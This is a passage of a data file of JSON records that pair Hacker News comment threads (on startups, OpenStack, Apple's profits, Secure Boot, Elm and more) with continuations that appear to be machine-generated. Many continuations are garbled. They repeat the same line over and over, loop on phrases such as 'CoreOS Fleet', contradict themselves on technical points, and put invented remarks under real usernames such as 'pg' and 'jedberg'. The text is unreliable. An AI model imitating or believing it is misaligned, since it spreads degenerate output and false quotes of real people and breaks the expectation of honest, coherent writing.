really makes the world better although I'm sure you could tell yourself that it does if it was your business. Is having your business do something you consider positive important?\n\n* Where do you get the knowledge you need to get started in an industry. Say you're really only good at programming and want to start a..."} +{"output_text": " the TAM of each of those, what is the TAM of the entire solution,\nwhat is the TAM of the entire problem?)\n\n3\\. The Market\n\n(what is the size of the market, what is the size of the opportunity, what is\nthe size of the TAM, what is the TAM of the entire market, what is the TAM of\nthe entire opportunity, what is the TAM of the entire problem?)\n\n4\\. The", "input_text": " go out and start their companies, and hopefully have a higher chance of success because of these lectures.<p>So the question is: What should I talk about? What do you think is important? What do you wish someone had told you when you started out?<p>The audience isn't particularly technical, and many of the companies are in sales, services and other non-tech industries.\n======\npg\nThe mistake most people lecturing about entrepreneurship make is to talk about\nthe mechanics of starting a company. And in fact a big mistake inexperienced\nfounders make is to focus too much on the mechanics of it.\n\nIn practice the most important questions are things like how to maintain\nmorale, how to find and get along with cofounders, how to push investors'\nbuttons, and so on.\n\n~~~\nbored\nAnd make sure to demphasize the importance of the \"idea.\" Sure it's important,\nbut not nearly as much as newbie entrepreneurs think.\n\n~~~\npg\nOr more precisely, the _initial_ idea is usually not that important, because\nit's usually wrong. It's best to see an initial idea as a question rather than\nan answer.\n\n------\njpwagner\nYou say you want 6 topics...\n\n1\\. The Problem Statement\n\n(who needs a solution, why do they need a solution, what do they do now:\nbreakdown the value by time-cost and money-cost, what is the TAM, what subset\nof that TAM do you focus on first (does a subset of that TAM pay more or at\nall?))\n\n2\\. The Solution\n\n(what options for solutions do you have, what is the cost of each of those,\nwhat is"} +{"output_text": " of the most influential critics of all time.\n\n------\njedberg\nI'm surprised that Netflix doesn't have a \"I'm a robot\" button.\n\n~~~\njedberg\nI'm not surprised at all. I'm surprised that they don't have a \"I'm a robot\"\nbutton.\n\n------\njedberg\nI'm surprised that Netflix doesn't have a \"I'm a robot\" button.\n\n~~~\njedberg\n", "input_text": " and 5 of some show. Terrible UI. Feels like you\nget so much less than you do.\n\nWith netflix it feels like you could just fall into a series immediately.\n\n------\nbogomipz\nAlthough it's not listed in this post because it's a rental. I feel like it\ndeserves a mention nonetheless. \"Beyond the Valley of the Dolls\" is a 1960s\ncult classic. It was directed by Russ Meyer and written by Roger Ebert.\nThere's a link to it on Roger's site as well as available to stream from\nAmazon for cheap:\n\n[https://www.rogerebert.com/reviews/beyond-the-valley-of-\nthe-...](https://www.rogerebert.com/reviews/beyond-the-valley-of-the-\ndolls-1980)\n\n------\ncottager\nWhen you said you were faking a proper agent with `requests`, do you mean you\nwere setting the headers to look like a browser, as in here?:\n[https://stackoverflow.com/questions/27652543/how-to-use-\npyth...](https://stackoverflow.com/questions/27652543/how-to-use-python-\nrequests-to-fake-a-browser-visit)\n\nThat was going to be my suggestion for how to get around the anti-robot\nresponses.\n\n~~~\nx3blah\nNo agent at all is required. I got past the anti-robot response using no user-\nagent header and a simple delay.\n\n------\nyoungamerican\nReading Ebert's Great Movies site was hugely formative for me. I also love\nthat he's low-key one"} +{"output_text": "/x2nd6rg)\n\n~~~\n1812Overture\nI think you're right, I'm not sure how they could side with the white\nsupremacists knowingly.\n\n------\njimmywanger\n> _The problem is that the left has been so successful in convincing people\n> that they are the good guys, that they have lost the ability to see the\n> other side._\n\nI think this is a bit of a straw", "input_text": "history in the US it's not of liberals vs conservatives, at least not in the\nway we use those terms in the US.\n\nWe have a problem with limiting discourse in schools but trying to shoehorn it\ninto the usual political framework frankly alienates those of us in the left\nwho are having to choose between apologizing for zealots on our side of the\nspectrum or aligning with groups that seem to inevitably take on repulsive\nundertones of intolerance and a whole other host of positions that have\nnothing to do with our own beyond being marginalized by the same extremely\nvocal group.\n\n------\n1812Overture\nOne thing that I haven't seen anyone mention is that this sort of walking on\neggshells culture tends to build higher walls around the privileged and\npowerful group. How often do you think these privileged rich white boys go on\nto become employers and refuse to higher someone from an out group\n(consciously or unconsciously) due to fear that the slightest misinterpreted\noff hand remark could bring hell down on them, but if they hire the other\nprivileged white guy they can comfortably be themselves without risk.\n\nI think even if you have the most leftist SJW views and objectives, you have\nto see this as counter productive.\n\n~~~\nvlehto\nI'm pretty sure some leftist SJW really can't see this as counter productive.\nIt's not just employment, this shit cuts through everything. I can't imagine\nhow this crowd could side with the white supremacists knowingly.\n\nBut then there is Slavoj Zizek, who agrees with you and me.\n[http://www.dailymotion.com/video/x2nd6rg](http://www.dailymotion.com/video"} +{"output_text": " companies, and they were not interested in changing the\nway they did things.\n\n------\njrockway\nI think the problem is that the people who are making the decisions are\nunaware of the problem.\n\nI think the problem is that the people who are making the decisions are\nunaware of the problem.\n\nI think the problem is that the people who are making the decisions are\nunaware of the problem.\n\nI think the problem is that the", "input_text": " them\nhave been to innovate.\n\nI think Apple's willingness to cannibalise is one reason they're so successful\n- for example, when the iPod Mini was a very successful product, they stopped\nselling it and replaced it with the Mini. More industries need to learn from\nthem (especially the movie industry...)\n\n~~~\ntstegart\nCompanies are unwilling to do it because sometimes it means jettisoning\npeople, which is hard to do. Its difficult seeing people who have been with\nyou for 30 years become obsolete, and you have to tell them, \"sorry, but\nyou're no use to us anymore.\" Sometimes you want to try and make the old way\nwork, or just place your head in the sand and let the whole ship go down\ntogether.\n\n~~~\nceejayoz\n> Companies are unwilling to do it because sometimes it means jettisoning\n> people, which is hard to do.\n\nThe newspaper industry has been quite happy to do this. I survived several\nrounds of layoffs (plus furloughs and a wage freeze) at Gannett. (Meanwhile,\nthe CEO got a $30M+ retirement bonus...)\n\nThe problem is, they've mostly been doing it _instead_ of adjusting to the\ninformation era, rather than _in conjuction with_ adjusting.\n\n~~~\ntstegart\nAgreed. Another consideration is that many newspapers suffer from an outdated\nownership structure. I'm not sure about Gannet, but I know some of the others,\nlike Tribune before 2007 and NYT had a problem. They were started by famous\nbusinessmen or families that then created a structure to keep the holdings\nwithin the family. The problem with this is that their descendants owned the\ntrusts that run the"} +{"output_text": "I'm not sure I agree with the \"no two OS deployments will look the same\"\nstatement.\n\nI've seen OpenStack deployments that look like this:\n\n\\- A single OpenStack deployment, with a single set of images, that's\nconfigured to run multiple services.\n\n\\- A single OpenStack deployment, with a single set of images, that's configured\nto run a single service.\n\n\\- A single OpenStack deployment, with a single", "input_text": "izes the problem a bit.\n\n------\njamierothfeder\nOne benefit of having many different jobs is that you meet a lot of awesome\npeople in your field. And if you actually are good, then these ex-colleagues\nwill probably invite you to new opportunities when they hop themselves.\n\n \nIntel Pulls Out of OpenStack Effort It Founded with Rackspace - kefka\nhttp://fortune.com/2017/04/14/intel-openstack-project-rackspace/\n======\nfoobiekr\nOpenStack really has a bunch of problems.\n\nThe big one is that OpenStack is about building and operating your own\nRackspace; this is not something IT organizations can even hire for let alone\ncarry off. The idea that they could/would/should was purely aspirational.\n\nThe others are that it's basically a mess - no two OS deployments will look\nthe same - and that it has neither an operational advantage nor too much of a\npricing advantage (50% for RHAT) over VMware - which is better integrated and\nmuch, much better from a admin experience and debuggability standpoint.\n\nI looked hard at leveraging OpenStack for the service we were building but the\nunderlying code was often cringetastic and somewhat naive. At some level if\nyou run software as a service you can work around poor code quality -\nsomething friends from AWS have emphasized - but you can't throw it over the\nwall and have other people without large engineering staffs there to help run\nit - which doesn't work in the small. VMware is the opposite approach - the\nentire model and practices evolved out of arm's reach software sales and\nsupport. So naturally it works better.\n\n~~~\nmattbee\n"} +{"output_text": "/8706323/college-professor-afraid))\nis a good example.\n\n~~~\njameshart\nI'm not sure I agree with your characterization of the Yale environment.\n\nI've taught at Yale, and I've taught at other schools with similar cultures.\nThe Yale environment is not the same as the environment at other schools.\n\nI've taught at Yale, and I've taught at other schools with similar cultures.\nThe Yale environment is", "input_text": " or censoring ideas is small but also very, very noisy.\nThey also have no sense of humor and college administrators as a group have no\nsense of humor or perspective, and they're chronically worried about\naccusations of indifference or insensitivity (which are themselves as good as\nconvictions). There is a strong economic and career incentive for\nadministrators to take _everything_ seriously and to keep their heads down as\nmuch as possible.\n\nBrew this up and one gets a majority of students who are reasonable but a\nsmall minority who drive all the discourse.\n\nI don't teach at Yale and have never taught at Yale or schools with similar\ncultures, so I can't speak to the environment there, but William Deresiewicz\ndid, and his book _Excellent Sheep: The Miseducation of the American Elite and\nthe Way to a Meaningful Life_ came out of that and I recommend it. His book _A\nJane Austen Education_ ([http://jakeseliger.com/tag/a-jane-austen-education-\nhow-six-n...](http://jakeseliger.com/tag/a-jane-austen-education-how-six-\nnovels-taught-me-about-love/)) is also very good, even for someone like me who\ndoes not love Jane Austen.\n\n _Edit:_ Also, almost all of the censorship calls and nasty behavior /\ncomments came from students on the left. Vox's \"I'm a liberal professor, and\nmy liberal students terrify me\" ([http://www.vox.com/2015/6/3/8706323/college-\nprofessor-afraid](http://www.vox.com/2015/6/3"} +{"output_text": " is really a thin wrapper\n> around Win32 windows and GDI+. WPF relies heavily on DirectX 9.\n\nI don't think that's true. WPF is a thin wrapper around DirectX 9, but it\ndoesn't rely on it. It's just a wrapper around GDI+ and Direct2D.\n\n> For mobile platforms, Microsoft offers Xamarin for GUI.\n\nXamarin is a wrapper around Mono, which is a wrapper around .", "input_text": "Any Developer, Any App, Any\n> Platform\u201d\n\nThis is what you want us to believe. But this makes little sense: if you\nreally believed in \"any platform\", this would go against your the interest of\nthe company (Windows sales), and therefore also against the interest of\nshareholders. I liked you more when you didn't pretend.\n\n~~~\nAnalemma_\n> this would go against your the interest of the company (Windows sales)\n\nThis would've been an insightful comment in 2007, but the world has changed.\nMicrosoft makes its money on Azure now, and that means supporting developers\neverywhere.\n\nFor crying out loud, post-reorg Windows doesn't even have someone reporting\ndirectly to the CEO anymore.\n\n~~~\nNullabillity\nIf that was true then WPF and WinForms would have been part of.NET Core.\n\nIf that was true then Microsoft wouldn't be pushing DirectX 12.\n\n~~~\nConst-me\n> WPF and WinForms would have been part of.NET Core\n\nI\u2019d love them to be, but unfortunately there\u2019re technical reasons for that.\nBoth depend on too many Windows components. WinForms is really a thin wrapper\naround Win32 windows and GDI+. WPF relies heavily on DirectX 9.\n\nFor mobile platforms, Microsoft offers Xamarin for GUI.\n\n> Microsoft wouldn't be pushing DirectX 12.\n\nAgain, there\u2019re technical reasons. For the same reasons Apple is pushing\nMetal, and Khronos is pushing Vulkan, all 3 are conceptually quite similar.\n\n~~~\nNullabillity\n> I\u2019d love them to be, but unfortunately there\u2019re technical reasons for that.\n> Both depend on too many Windows components. WinForms"} +{"output_text": "\njedberg\nI'm not sure if this is a good idea, but I think it's a good idea to have a\nparking space for bikes.\n\nI have a bike rack on my car, but I don't have a bike. I have a bike lock,\nbut I don't have a bike.\n\nI think it's a good idea to have a bike parking space.\n\n~~~\njedberg\nI'm not sure if this is a", "input_text": " may have always been a nonstarter for\nthem, but this device isn\u2019t.\n\n------\nSubiculumCode\nMy favorite part of the article: Guerilla'd.\n\n\"but our fave low-tech workaround was shared by a user who found out his\ncampus only had 12 wheel boots to go around and bought and illegally parked 12\nscrapyard cars that could be \u201csacrificed\u201d so everyone else could park however\nthey wanted.\"\n\n------\nnotjtrig\nOriginal reddit post:\n\n[https://www.removeddit.com/r/specializedtools/comments/e541r...](https://www.removeddit.com/r/specializedtools/comments/e541r4/comment/f9ivr37)\n\n------\nzzo38computer\nLet it be known that putting that kind of stuff on the student's car is NOT\nOK. A locked car cover may be helpful (would it help with the stuff in the\nwheel too? even if not, put your own locked cover on the wheel) (it would also\nprevent people from putting papers in the wind shield, I think).\n\nBut nevertheless the students should pay the fine for parking if they wish to\npark their car in the parking space that requires payment. If the fee is too\nmuch then they should file a public complaint with the owner of the parking\nlot.\n\n------\njtms\nNormally I would think \u201cbreak the rules, pay the fines\u201d but I am sympathetic\nin this case. When I was in college I had to put my bicycle in the back of my\ntruck and park about two miles away from campus because there was literally\nnever valid parking on campus and the school was doing next to nothing to fix\nthe problem.\n\n------"} +{"output_text": " moar solar and wind.\n\n------\njandrewrogers\nI think the most important thing to remember is that the cost of solar and\nwind is not the same as the cost of natural gas.\n\nThe cost of natural gas is a function of the cost of the fuel, the cost of\ntransport, and the cost of the fuel processing. The cost of solar and wind is\na function of the cost of the fuel, the cost of the fuel processing, and", "input_text": "peaker to combined-cycle+peaker\nto have a fair comparison? Or do combined-cycle plants allow for lower changes\nin output than peakers, such that (e.g.) a 10% solar 90% combined-cycle system\ncould adjust as well? The grid is a whole system, not just two power plants.\n\nFinally, nobody is advocating for just solar+peaker. Solar+wind+peaker will\neasily get you over the 32% threshold, as solar and wind tend to provide power\nat different times (not perfectly, sadly). If you have some storage available\n(preferably hydro, but possibly other), then you get an even higher effective\ncapacity factor.\n\n------\nwoodandsteel\nRemember, one of the main arguments of the climate change is a hoax, fossil\nfuels forever gang is that switching to renewable energy would make\nelectricity so expensive it would mean the end of modern society and we would\nall go back to living in crude huts.\n\n------\nsremani\nAs usual this where Bloomberg acts as Solar is similar to NG. Solar and Wind\nare widely dependent on location. Your results of NG in Phoenix or Chicago are\ngoing to be more or less same - you cannot say that for Solar.\n\nAt the right places Solar is profitable - but at the grid interface level its\nnot same as having NG. For all the solar panels that are visible and there are\ncountless \"invisible\" massive diesel generator back-ups and an inefficiently\nused NG base-load generator somewhere.\n\nIts very rare Solar-Wind get their baseload from hydro (its possible). But\nagain, HN being HN.. Ye Ye Ye!\n\nThese headlines make people think some how ONG is replacable and all it takes\nmoar and"} +{"output_text": " trips, or we would need to build a shielded space station.\n\n~~~\njules\nI think you are right. The problem is that the shielding is not perfect.\n\n------\njules\nI think the problem is that the shielding is not perfect.\n\n~~~\njules\nI think the problem is that the shielding is not perfect.\n\n------\njules\nI think the problem is that the shielding is not perfect.\n\n------\njules", "input_text": " wrote only applies near\nearth.\n\nAnd it's not solar particles that are the main problem. It's cosmic particles,\nwhich have much much higher energies, and do not come in bursts.\n\nSee here: [http://www.scientificamerican.com/article.cfm?id=magnet-\nforc...](http://www.scientificamerican.com/article.cfm?id=magnet-force-field)\nand here:\n[http://www.scientificamerican.com/article.cfm?id=shielding-s...](http://www.scientificamerican.com/article.cfm?id=shielding-\nspace-travelers) and here:\n[http://blogs.chron.com/sciguy/archives/2009/05/the_real_reas...](http://blogs.chron.com/sciguy/archives/2009/05/the_real_reason_why_we_wont_go_to_mars_in_my_lifet_1.html)\nand here:\n[http://marsjournal.org/contents/2006/0004/files/rapp_mars_20...](http://marsjournal.org/contents/2006/0004/files/rapp_mars_2006_0004.pdf)\n(pdf) and here: [http://www.space.com/missionlaunches/080331-radiation-\nshield...](http://www.space.com/missionlaunches/080331-radiation-\nshielding.html)\n\nIs that enough? We are not going to mars anytime soon. Even a colony on the\nmoon is not possible right now. We would either need to send people on once\nonly short"} +{"output_text": " But that's not true.\n\n~~~\njoezydeco\nI think the point is that Apple is the only company that can afford to\nundercut the competition on price.\n\n~~~\npg\nThat's true, but it's not the only reason.\n\n~~~\njoezydeco\nI think you're right.\n\n------\njoezydeco\nI'm not sure how this is a surprise. Apple has been the only company that", "input_text": "'d like to\nmake a \"SweetScript\" that compiles to JavaScript (via some lightweight lisp)\nand could essentially serve as a CoffeeScript with macros.\n\nWould you find such a tool useful? What challenges would you foresee facing\nsuch a project?\n\n------\njpr\nIt's funny that Lisp's \"syntax\" draws so much attention when it is pretty much\nthe simplest and most unambiguous syntax possible, and that messes like C++,\nPython and Perl don't seem to bother anyone enough to propose alternatives.\n\n~~~\nsilentbicycle\nIt's yet another case of people getting hung up on the first obviously\ndifferent thing they notice about a language.\n\nIf somebody is still griping about the parens in Lisp, the significant\nwhitespace in Python, the glyphs in APL, etc., they haven't gotten to the\ndifferences that actually make the language interesting - either they'll get\nused to it like the other X programmers (and realize it wasn't as big an issue\nas they thought), or they'll find deeper issues in the language design to\ncomplain about (and probably give up on it).\n\n \nWith 8.7% market share, Apple has 75% of cell phone profits - csomar\nhttp://tech.fortune.cnn.com/2012/02/03/with-8-7-market-share-apple-has-75-of-cell-phone-profits/\n======\npg\nThat is an astounding graph. I didn't consciously realize this till the\nexample of Apple made it clear a few years ago, but market share is actually\nan unambitious thing to aim for. When people treat market share as a proxy for\nprofit share, they're implicitly assuming all the competitors are roughly\nequivalent."} +{"output_text": "'s why they are there.\n\nThey also have a lot of money to spend on things like fancy beds, fancy\nmonitors, fancy food, fancy doctors, fancy nurses, fancy equipment, fancy\nmedicine, fancy tests, fancy procedures, fancy staff, fancy staff training,\nfancy staff pay, fancy staff benefits, fancy staff training, fancy staff pay,\nfancy staff benefits, fancy staff training, fancy staff pay, fancy staff\nbenefits, fancy staff training,", "input_text": " search - site:trycosmo.com peer review - did not\n> match any documents\n\nSounds promising. Untested sleep drugs, sign me up!\n\n~~~\nCryoLogic\nIt's actually just melatonin, L-theanine and magnesium in one pill. So nothing\nsketchy but also not anything new or interesting. Just a combo pill like most\nother supplements on the market.\n\n~~~\ndanielfoster\nYou're right, the formula isn't groundbreaking. We did this intentionally to\nfocus on the tried and true. We've also found that many sleep aids contain\nthese ingredients, but only in very small quantities (1mg or less).\n\nIs there anything else you would potentially like to see included?\n\n------\ncrazygringo\nI highly recommend the 2017 book \"Why We Sleep\" [1]. Written by a doctor,\nstarting at page 335 he calls exactly for ensuring hospital patients can\nsleep, why this is so critical for recovery, and how many things in hospitals\ncurrently work against this. (The book covers so much ground, including other\nreforms like school time starts, why society doesn't value sleep because\nsleep-deprived people don't perceive their substandard performance, and so\non.)\n\n[1] [https://www.amazon.com/Why-We-Sleep-Unlocking-\nDreams/dp/1501...](https://www.amazon.com/Why-We-Sleep-Unlocking-\nDreams/dp/1501144324)\n\n------\nmfer\nConsider what hospitals optimize for (at least in the US). Not what they say\nbut what they do...\n\nFor example, putting lots of money into fancy buildings. Fancy buildings\nattract patients for non-emergency things. That"} +{"output_text": "* Solaris zones\n\n* OpenVZ\n\n* LXC\n\n* Docker\n\n* CoreOS\n\n* CoreOS Container Linux\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n* CoreOS Fleet\n\n", "input_text": " therefore saving the\ncompany money because developers are not wasting time debugging CI server\nissues. It's easy to isolate CI server related issues from the docker\ncontainer running the unit tests because a developer can just run the same\ntests using the container on their local machine, so it creates a consistent\nenvironment.\n\nOn the infrastructure deployment side of things.... Previous to our\n\"dockerized\" infrastructure we were managing about 7 different AMI's for all\nour servers and it was becoming a pain in the butt to manage the installation\nof new software if our application called for it, create a new AMI, then re-\ndeploy said AMI. If you have experience with AWS and you have done this enough\ntimes, I'm sure you have faced at one point or another long wait times for\nyour AMI to be created before you can re-deploy with that newly created AMI.\nThis is time wasted on the application deployment side of things, but also on\nthe personnel side of things while you wait for that damn thing to be created\nso you can re-deploy. Time is money and money waiting for resources to be\navailable or for AMI's to be created is money taken away from the business.\nAdditionally though in its infancy stage, we are using docker-compose\n([https://docs.docker.com/compose/](https://docs.docker.com/compose/)) which\noffers some really nice ways of defining your container infrastructure within\na single machine, I highly recommend looking into this for further efficiency.\n\n------\nMcElroy\nTo get some additional viewpoints on containerization, you could also take a\nlook at what has been said about similar, preceeding technologies:\n\n* Solaris Zones, see also SmartOS Zones based on that\n\n* FreeBSD jails\n\n"} +{"output_text": " user, I'm not sure I understand the fuss.\n\nThe only thing that matters is that the bootloader is signed by Microsoft.\n\n~~~\njosteink\n> The only thing that matters is that the bootloader is signed by Microsoft.\n\nThat's not true.\n\nThe only thing that matters is that the bootloader is signed by Microsoft.\n\nThe only thing that matters is that the bootloader is signed by Microsoft.\n\nThe only thing that matters", "input_text": "blog.hansenpartnership.com/owning-your-\nwindows-8-uefi...](http://blog.hansenpartnership.com/owning-your-\nwindows-8-uefi-platform/)\n\n~~~\npslam\n> What? Which OS refuses to boot when you disable Secure Boot?\n\nThe one which was installed with secure boot enabled. My reading is the OS\nwill prevent forward progress when it notices secure boot was bypassed when it\nexpected it to be on. Never tried this myself - I'm likely misinformed.\n\n> Exactly which UEFI Secure Boot does.\n\nAnd apparently optional, and not something every machine implements, which was\nthe subject of a LOT of stories a year back. Did this ever get resolved as\nbeing mandatory, and/or did all UEFI providers figure it was best practice in\nthe end?\n\n------\nalexsilver\nWhenever these complaints/lawsuits come up, I always wonder why Apple is never\npart of them...\n\n~~~\nmkr-hn\nApple is off in its own hardware and software ecosystem, so the potential for\nwidespread harm is small. Microsoft has clout with the people who make the\nhardware most people use, so there's considerable potential for damage\ndepending on how Microsoft's will is implemented.\n\n~~~\nscholia\nApple has plenty of potential for harm via its iPhone and iPad ranges, both of\nwhich are locked down.... However, neither has a monopoly maket share.\n\n~~~\nsounds\nExactly!\n\nWhy aren't people complaining about Samsung locking their phones? (both\ncarrier locks and locking the root account)\n\nOk, maybe the best solution is to vote with your wallet. It worked for me :)\n\n------\nVMG\nAs an European linux"} +{"output_text": "\n\n~~~\nklibertp\nI think it's because Elm is a language that's designed to be used with\nElixir. It's not a language that's designed to be used with other languages.\n\n~~~\nsotojuan\nI don't think that's true. Elm is a language that's designed to be used with\nElixir. It's not a language that's designed to be used with other languages.\n\n~~~\nk", "input_text": ". You almost have to learn everything all\nover again. It's a cool project and I'm glad it's working out well for you,\nbut Elm has a serious learning curve.\n\n~~~\nnot-much-io\nJust my 2c:\n\nParadigm wise: Yes functional programming can seem strange and hard if you\nhaven't done it before. But that really isn't the fault of Elm, elm makes FP\nas simple as it can.\n\nLanguage wise: Yes, the Elm architecture takes a bit to grok, but for me it\nwas just an afternoon. Once you grok it, there isn't really much else you need\nto learn - you can hit the ground running, look up what you need when you need\nit.\n\nTooling wise: Just some basic tooling you get will get you very far, no setup\neither, just install and use.\n\nIf you do js interop, yes that can be cumbersome, but it is intentional. Elm\nstrives to keep js out and write libraries in Elm. This is so we can have more\nof the guarantees that Elm provides. (no runtime exceptions!)\n\nI'd rather say: \"Elm has a low entry barrier for a FP language\". One of it's\nmain goal is to bring FP to the masses after all. :)\n\n------\nleshow\nI hope Elm doesn't get too closely tied with Elixir. It's a great language no\nmatter what backend you choose.\n\n~~~\nsotojuan\nI also don't get why they're coupled a lot... they're very different once you\nget past that they're both \"functional\" (and Elixir really just has HOFs and\nimmutability by default, it's very practical)."} +{"output_text": "ares.\n\n~~~\nbeagle3\nI do realize that, but I also know that the NSA is not interested in\nmalware.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a\ncompetitor to BitBucket.\n\nBitBucket is a hosted git service. This is a hosted git service.\n\n~~~\njosteink\nI'm not sure if I'm missing something,", "input_text": " transliterate it to PowerShell than to actually\nwrite PowerShell. That's a disastrously bad situation _for a shell_.\n\n~~~\nuseerup\nYou were called upon to give some examples. Yet all you offer is more\nhyperbole. One is beginning to suspect that despite your assertion that you\n\"know\" Powershell better than most who use it daily, you are actually just a\ntroll.\n\nYes, I am calling you out. I am challenging you to provide concrete examples\nwhere Powershell has less discoverability than bash or zsh. I am challenging\nyou to explain why ISE - an environment designed specifically to combine REPL\nwith script authoring - is \"unacceptable\".\n\nAnd please, no more hyperbole or condescending remarks.\n\n------\nbaldfat\nFree Unlimited Private Git Repos hosted by MicroSoft (Looks like BitBucket has\na new competitor) this is really surprising.\n\n~~~\nbeagle3\nMicrosoft's free unlimited chat and phone calls (skype) gets scanned for ads,\nand links followed[0]. Probably also stored and forwarded to the NSA.\n\nDon't put anything in there that you really care about, without using\nsomething like git-crypt.\n\n[0]\n[https://news.ycombinator.com/item?id=5704574](https://news.ycombinator.com/item?id=5704574)\n\n~~~\nnivla\nYou do realize that the scanning is meant for checking the links for malware,\nredirection and metadata for previews. Which popular chat service doesn't do\nthis? Paste a link into Facebook, Google+, Gchat and all are likely to do the\nsame or the least passively scan it against a list of known malw"} +{"output_text": "\" all the time.\n\n~~~\nneltnerb\nI guess I'm just not used to the word \"sprint\" being used in the context of\nsoftware development. I've always thought of it as a sprint of time, not a\nsprint of work.\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you can't just do a bunch of work and then stop. You have to\ndo a", "input_text": " a marathon.\n\n~~~\ndudul\nI don't know if this is meant to be facetious, but I actually fully agree.\n\"Sprint\" is a terrible analogy because in reality it is impossible to be\nsprinting all the time. I usually just say \"iteration\".\n\n~~~\nneltnerb\nI'm confused, doesn't your statement mean the analogy is good? You can neither\n\"sprint\" at work continuously nor constantly sprint in reality.\n\n~~~\ndudul\nLet's say you do 2 week sprints as part of your process. You do a sprint,\nfinish it, and then do another sprint immediately after. How is that viable?\nEffectively it means that you never stop sprinting. I don't think it's\nsustainable.\n\n~~~\nneltnerb\nIs that actually what scrum suggests sprints are? Thanks, I missed that,\nthat's silly if so. I assumed by the name that this was like a one week a\nmonth kind of thing.\n\n~~~\ntheptip\nI think there's quite a lot of getting hung up on the word itself here...\nAccording to the Scrum guide, a sprint is just:\n\n> a time-box of one month or less during which a \"Done\", useable, and\n> potentially releasable product Increment is created. Sprints have consistent\n> durations throughout a development effort. A new Sprint starts immediately\n> after the conclusion of the previous Sprint.\n\n([http://www.scrumguides.org/scrum-guide.html#events-\nsprint](http://www.scrumguides.org/scrum-guide.html#events-sprint))\n\nThere's nothing that says you need to \"sprint"} +{"output_text": " per year, as well as some\n> insurances and a very generous parental leave (1 year for each parent).\n\nI'm not sure if you are aware of this, but the US is not the only country in\nthe world that has a 4 week paid vacation.\n\n~~~\njohanbrook\nI'm aware of that, but I'm not sure if it's a good thing.\n\nI'm not sure if it's a good thing that the US is behind", "input_text": " a case of the government taking\nmore of your personal wealth to provide services to society as a whole, which\nflies in stark contrast to the traditional US approach.\n\n~~~\nJumpCrisscross\n> _There's no reason why it can't scale_\n\nI grew up in Switzerland. Nobody checked if we bought metro tickets. Everyone\nbought them. The only people I remember being little shits about it were\ntourists. Cultural norms do not informally enforce themselves at scale--you\nneed institutions, and those institutions cost money and freedom.\n\n~~~\nmkaziz\nDisagree. As an immigrant to the US, I see many cultural norms that the US has\n(at scale, despite heterogeneous population) that were bizarrely foreign to\nme, but that I (and other immigrants like me) quickly picked up on and\ndeveloped.\n\nExamples: (good) giving pedestrians right of way when driving, stopping at\nstop signs, holding the door open for people (bad) empty small talk\nconversations used to fill silences with casual acquaintances.\n\n------\njohanbrook\nThe U.S. is very behind many European countries in the work-life balance\ndepartment. It's kinda surprising that America \u2013 with its liberal policies for\nprivate companies \u2013 is so backwards when it comes to caring about their\nemployees.\n\nThe points in the article could apply to policies/norms in Sweden as well.\nHere, we get _at least_ 4 weeks of paid vacation per year, as well as some\ninsurances and a very generous parental leave (1 year for each parent).\n\n~~~\nrobert_foss\n> The points in the article could apply to policies/norms in Sweden as well.\n> Here, we get at least 4 weeks of paid vacation"} +{"output_text": " has been titled \"White Paper\"\n\n------\njrockway\nI'm not sure I understand the legal argument. The government can't just kill\nyou because you're a terrorist. They have to prove that you are a terrorist.\n\n~~~\njrockway\nI guess I'm not understanding the legal argument. The government can't just\nkill you because you're a terrorist. They have to prove that you are a\nterrorist.\n\n~~~\njrockway", "input_text": " all that energy has been put into preserving the 2nd Amendment.\n\n------\ntokenadult\nThe full text of the purported Justice Department white paper mentioned in the\nsubmitted blog post:\n\n[http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_W...](http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_White_Paper.pdf)\n\n------\ndkokelley\nWithout reading the memo (only the linked article), wouldn't top Al Qa'ida\noperatives be classified as traitors and enemies of the state? (Maybe that's\nthe legal angle expressed in the memo.) Within the country's borders, the\ngovernment kills its citizens all of the time when the judgement is made that\nthe suspect represents and immediate threat to the safety and well-being of\nothers (see: hostage situations and police shootouts). Otherwise, the state's\ndecision to end someone's life is a long and arduous process filled with\ncourts and laws and appeals (and rightly so!).\n\n------\nthisrod\nLet's turn this around. Suppose that an American citizen believes they're on\nthe list, and the president is plotting to kill them. In what circumstances\nshould it be legal for them to assassinate the president?\n\nThe president is supposed to be just another citizen: one who's very certainly\nplotting to kill Americans. It's curious how few people apply his reasoning to\nhis own case. Do people believe in some kind of divine right of presidents?\n\n------\nDigitalJack\nJust curious...do people usually title their white papers with the words\n\"White Paper\"?\n\n~~~\nbobbles\nEvery white paper I've ever seen"} +{"output_text": " to do whatever you want.\n\n~~~\nrevscat\nI think you are right, but I think it is a new reality for the US.\n\n------\njedberg\nI'm not sure why this is getting so much attention.\n\nFacebook is a private company. They can do whatever they want.\n\n~~~\njedberg\nI guess I should clarify that I'm not saying that Facebook is a private\ncompany. I'm saying that Facebook is a", "input_text": " people\nyou were friends with. It didn't, but it did show me a bunch of my graduating\nclass from 16 years prior and gobs of friends of friends. I saw considerably\nmore people on it that I knew/knew of than I ever did with\nTinder/OkCupid/Bumble.\n\n~~~\nskocznymroczny\nSo on par with Tinder?\n\n------\npmlnr\nOnly one week and regulatory forces managed to push back?!\n\nI wonder when someone from the same regulatory forces will help Ruben out:\n[https://ruben.verborgh.org/facebook/](https://ruben.verborgh.org/facebook/)\n\nHe's been waiting for over a year now for his actual dataset - fighting for us\nall.\n\n~~~\nkrick\nOk, I assume it would help if he could state his demands in more formal and\nlegally actionable form instead of joking and telling fun stories of meeting\nFB employees at a conference, but regardless:\n\n> Facebook has not replied after three months, even though they are legally\n> required to answer within one month\n\nSo, I'm ready to accept everything else is a subject to some legal debate, but\nthis seems like pretty straight-forward violation of the law, isn't it? I\nmean, shouldn't they be actually punished for it by, like, paying money?\n\n~~~\nrevscat\nFacebook seems to believe (understand?) that it is part of the new reality\nwhere due to their size and revenue the law only loosely applies to them, and\nmostly at their convenience.\n\n~~~\nMirioron\nThat's not _new_ reality. That is the world we live in. If you're big\nenough/your product is widespread enough then you get"} +{"output_text": " the vulnerability is not in the beep program\nitself, but in the way it's being run as root.\n\n~~~\nalxlaz\nI'm not sure I understand.\n\nThe vulnerability is 